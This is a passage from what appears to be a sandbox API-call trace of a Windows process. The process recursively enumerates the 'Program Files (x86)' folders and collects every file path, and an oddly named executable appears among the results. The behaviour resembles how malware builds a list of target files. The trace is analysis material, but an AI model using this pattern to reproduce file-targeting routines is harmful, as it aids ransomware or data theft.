Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned 63 [0123.871] lstrcpyW (in: lpString1=0x24b2650, lpString2="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll") returned="c:\\Program Files (x86)\\Windows NT\\Accessories\\WordpadFilter.dll" [0123.871] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.871] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.871] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.871] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2=".") returned 1 [0123.871] lstrcmpW (lpString1="dimensionalsubscriptions.exe", lpString2="..") returned 1 [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0123.871] lstrlenW (lpString="dimensionalsubscriptions.exe") returned 28 [0123.871] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned 62 [0123.871] lstrcpyW (in: lpString1=0x24b26d8, lpString2="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe") returned="c:\\Program Files (x86)\\Windows NT\\dimensionalsubscriptions.exe" [0123.871] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.871] lstrcmpW (lpString1="TableTextService", lpString2=".") returned 1 [0123.871] lstrcmpW (lpString1="TableTextService", lpString2="..") returned 1 [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\") returned 34 [0123.871] lstrlenW (lpString="TableTextService") returned 16 [0123.871] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\", lpString2="TableTextService" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService" [0123.871] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\" [0123.871] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.871] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*" [0123.871] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows NT\\TableTextService\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.872] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.872] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.872] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.872] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.872] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.872] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.872] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.872] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.872] lstrlenW (lpString="en-US") returned 5 [0123.872] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\en-US" [0123.872] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.872] lstrcmpW (lpString1="TableTextService.dll", lpString2=".") returned 1 [0123.872] lstrcmpW (lpString1="TableTextService.dll", lpString2="..") returned 1 [0123.872] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.872] lstrlenW (lpString="TableTextService.dll") returned 20 [0123.872] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0123.872] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned 71 [0123.872] lstrcpyW (in: lpString1=0x24b85a8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextService.dll" [0123.872] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.872] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0123.872] lstrcmpW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0123.872] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.872] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0123.872] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0123.872] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned 78 [0123.872] lstrcpyW (in: lpString1=0x24b8640, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceAmharic.txt" [0123.872] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.872] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2=".") returned 1 [0123.872] lstrcmpW (lpString1="TableTextServiceArray.txt", lpString2="..") returned 1 [0123.872] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.872] lstrlenW (lpString="TableTextServiceArray.txt") returned 25 [0123.872] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0123.872] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned 76 [0123.872] lstrcpyW (in: lpString1=0x24b86e8, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceArray.txt" [0123.873] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2=".") returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceDaYi.txt", lpString2="..") returned 1 [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.873] lstrlenW (lpString="TableTextServiceDaYi.txt") returned 24 [0123.873] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned 75 [0123.873] lstrcpyW (in: lpString1=0x24b8790, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceDaYi.txt" [0123.873] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2=".") returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceSimplifiedQuanPin.txt", lpString2="..") returned 1 [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.873] lstrlenW (lpString="TableTextServiceSimplifiedQuanPin.txt") returned 37 [0123.873] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned 88 [0123.873] lstrcpyW (in: lpString1=0x24b8830, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedQuanPin.txt" [0123.873] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2=".") returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceSimplifiedShuangPin.txt", lpString2="..") returned 1 [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.873] lstrlenW (lpString="TableTextServiceSimplifiedShuangPin.txt") returned 39 [0123.873] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned 90 [0123.873] lstrcpyW (in: lpString1=0x24b88f0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedShuangPin.txt" [0123.873] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2=".") returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceSimplifiedZhengMa.txt", lpString2="..") returned 1 [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.873] lstrlenW (lpString="TableTextServiceSimplifiedZhengMa.txt") returned 37 [0123.873] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned 88 [0123.873] lstrcpyW (in: lpString1=0x24b89b0, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceSimplifiedZhengMa.txt" [0123.873] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2=".") returned 1 [0123.873] lstrcmpW (lpString1="TableTextServiceYi.txt", lpString2="..") returned 1 [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\") returned 51 [0123.873] lstrlenW (lpString="TableTextServiceYi.txt") returned 22 [0123.873] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\", lpString2="TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0123.873] lstrlenW (lpString="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned 73 [0123.873] lstrcpyW (in: lpString1=0x24b8a70, lpString2="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" | out: lpString1="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt") returned="c:\\Program Files (x86)\\Windows NT\\TableTextService\\TableTextServiceYi.txt" [0123.873] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.873] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.874] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.874] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.874] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.874] lstrcmpW (lpString1="Windows Photo Viewer", lpString2=".") returned 1 [0123.874] lstrcmpW (lpString1="Windows Photo Viewer", lpString2="..") returned 1 [0123.874] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.874] lstrlenW (lpString="Windows Photo Viewer") returned 20 [0123.874] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Windows Photo Viewer" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer") returned="c:\\Program Files (x86)\\Windows Photo Viewer" [0123.874] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\" [0123.874] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0123.874] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\*" [0123.874] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.874] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.874] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.874] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.874] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.874] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.874] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0123.875] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0123.875] lstrlenW (lpString="en-US") returned 5 [0123.875] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="en-US" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US" [0123.875] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\" [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0123.875] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*" [0123.875] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.875] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.875] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.875] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.875] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.875] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.875] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2=".") returned 1 [0123.875] lstrcmpW (lpString1="ImagingDevices.exe.mui", lpString2="..") returned 1 [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0123.875] lstrlenW (lpString="ImagingDevices.exe.mui") returned 22 [0123.875] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned 72 [0123.875] lstrcpyW (in: lpString1=0x24b8b10, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui" [0123.875] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.875] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2=".") returned 1 [0123.875] lstrcmpW (lpString1="PhotoAcq.dll.mui", lpString2="..") returned 1 [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0123.875] lstrlenW (lpString="PhotoAcq.dll.mui") returned 16 [0123.875] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned 66 [0123.875] lstrcpyW (in: lpString1=0x24b8bb0, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoAcq.dll.mui" [0123.875] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.875] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2=".") returned 1 [0123.875] lstrcmpW (lpString1="PhotoViewer.dll.mui", lpString2="..") returned 1 [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\") returned 50 [0123.875] lstrlenW (lpString="PhotoViewer.dll.mui") returned 19 [0123.875] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\", lpString2="PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0123.875] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned 69 [0123.875] lstrcpyW (in: lpString1=0x24b8c40, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\en-US\\PhotoViewer.dll.mui" [0123.875] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.875] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.875] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.875] lstrcmpW (lpString1="ImagingDevices.exe", lpString2=".") returned 1 [0123.875] lstrcmpW (lpString1="ImagingDevices.exe", lpString2="..") returned 1 [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0123.876] lstrlenW (lpString="ImagingDevices.exe") returned 18 [0123.876] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned 62 [0123.876] lstrcpyW (in: lpString1=0x24b2760, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingDevices.exe" [0123.876] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.876] lstrcmpW (lpString1="ImagingEngine.dll", lpString2=".") returned 1 [0123.876] lstrcmpW (lpString1="ImagingEngine.dll", lpString2="..") returned 1 [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0123.876] lstrlenW (lpString="ImagingEngine.dll") returned 17 [0123.876] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned 61 [0123.876] lstrcpyW (in: lpString1=0x24b27e8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\ImagingEngine.dll" [0123.876] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.876] lstrcmpW (lpString1="PhotoAcq.dll", lpString2=".") returned 1 [0123.876] lstrcmpW (lpString1="PhotoAcq.dll", lpString2="..") returned 1 [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0123.876] lstrlenW (lpString="PhotoAcq.dll") returned 12 [0123.876] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned 56 [0123.876] lstrcpyW (in: lpString1=0x24b6078, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoAcq.dll" [0123.876] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.876] lstrcmpW (lpString1="PhotoBase.dll", lpString2=".") returned 1 [0123.876] lstrcmpW (lpString1="PhotoBase.dll", lpString2="..") returned 1 [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0123.876] lstrlenW (lpString="PhotoBase.dll") returned 13 [0123.876] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned 57 [0123.876] lstrcpyW (in: lpString1=0x24b60f8, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoBase.dll" [0123.876] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.876] lstrcmpW (lpString1="PhotoViewer.dll", lpString2=".") returned 1 [0123.876] lstrcmpW (lpString1="PhotoViewer.dll", lpString2="..") returned 1 [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\") returned 44 [0123.876] lstrlenW (lpString="PhotoViewer.dll") returned 15 [0123.876] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\", lpString2="PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0123.876] lstrlenW (lpString="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned 59 [0123.876] lstrcpyW (in: lpString1=0x24b6178, lpString2="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" | out: lpString1="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll") returned="c:\\Program Files (x86)\\Windows Photo Viewer\\PhotoViewer.dll" [0123.876] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.876] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.876] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.876] lstrcmpW (lpString1="Windows Portable Devices", lpString2=".") returned 1 [0123.876] lstrcmpW (lpString1="Windows Portable Devices", lpString2="..") returned 1 [0123.877] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 